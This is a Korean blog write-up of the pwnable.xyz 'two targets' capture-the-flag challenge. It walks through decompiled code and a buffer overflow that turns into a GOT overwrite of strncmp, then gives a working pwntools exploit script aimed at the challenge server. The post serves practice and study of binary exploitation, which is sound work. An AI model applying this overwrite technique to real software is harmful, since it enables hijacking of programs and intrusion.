pwnable.xyz - two targets
2021. 8. 1. 18:05ㆍPwnable
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int input; // eax
char name[32]; // [rsp+10h] [rbp-40h] BYREF
_QWORD v5[4]; // [rsp+30h] [rbp-20h] BYREF
v5[3] = __readfsqword(0x28u);
setup(argc, argv, envp);
memset(name, 0, 0x38uLL);
while ( 1 )
{
while ( 1 )
{
print_menu();
input = read_int32(); // read 1~4
if ( input != 2 )
break;
printf("nationality: ");
scanf_("%24s", v5);
}
if ( input > 2 )
{
if ( input == 3 )
{
printf("age: ");
scanf_("%d", v5[2]);
}
else if ( input == 4 )
{
if ( auth(name) )
win();
}
else
{
LABEL_14:
puts("Invalid");
}
}
else
{
if ( input != 1 )
goto LABEL_14;
printf("name: ");
scanf_("%32s", name);
}
}
}
ida코드를 확인해보면 위와 같다
결론적으로 auth(name)의 return 값이 참이 되어야지 win() 함수를 실행시킬 수 있을 것이다.
_BOOL8 __fastcall auth(__int64 a1)
{
signed int i; // [rsp+18h] [rbp-38h]
char s1[8]; // [rsp+20h] [rbp-30h] BYREF
__int64 v4; // [rsp+28h] [rbp-28h]
__int64 v5; // [rsp+30h] [rbp-20h]
__int64 v6; // [rsp+38h] [rbp-18h]
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u);
*s1 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
for ( i = 0; i <= 31; ++i )
s1[i] = ((*(a1 + i) >> 4) | (16 * *(a1 + i))) ^ *(main + i);
return strncmp(s1, &s2, 0x20uLL) == 0;
}
auth 함수 내부는 위와 같다.
strncmp 함수 정보
리턴값이 -1 일 때 -> 두 문자열을 count까지 비교하여, 틀린 첫번째 문자가 string1이 더 작을 때 -1을 리턴합니다.
리턴값이 0 일 때 -> 두 문자열이 count까지의 문자열이 같습니다.
리턴값이 1 일 때 -> 두 문자열을 count까지 비교하여, 틀린 첫번째 문자가 string1이 더 클 때 1을 리턴합니다.
즉 s1 == s2 라는 조건을 충족시키면 return 의 값은 참이 되고, win함수를 실행시킬 수 있을 것이다.
라고 생각을했지만, 굳이 역연산 코드를 작성하며 풀이하는 것보다 got overwrite를 이용하는게 간단하겠다는 생각이 들었다.
main 코드를 확인해보면 nationality 부분을 입력받을때 24만큼 받게되는데 해당 부분은 0x10만큼만 nation 의 값이고 그 이후는 age의 영역을 침범한다.
bof가 발생하는 것이고, 해당 공간에 사용된 적이 없는 strncmp got 주소를 넣어준 뒤, age에 win_add 를 넣어줘서 got_overwrite가 동작 가능하고, auth 가 호출되면 strncmp를 호출하는 부분에서 바로 win 함수가 실행 가능할 것이다.
아래는 paylaod이다.
from pwn import *
#r = process("./challenge")
r = remote("svc.pwnable.xyz", 30031)
e = ELF("./challenge")
l = e.libc
context.log_level = "debug"
strcmp_got = e.got['strncmp']
win_add = e.sym['win']
r.sendlineafter("> ", "2")
r.sendlineafter("nationality: ", "A"*0x10 + p64(strcmp_got))
r.sendlineafter("> ", "3")
r.sendlineafter("age: ", str(int(win_add)))
r.sendlineafter("> ", "4")
print(r.recv())
'Pwnable' 카테고리의 다른 글
pwnable.xyz - Game (0) | 2021.08.05 |
---|---|
pwnable.xyz - GrownUp (0) | 2021.08.02 |
dreamhack.io - seccomp (0) | 2021.07.31 |
dreamhack.io - cpp_smart_pointer_1 (0) | 2021.07.29 |
pwnable.xyz - sub (0) | 2021.07.28 |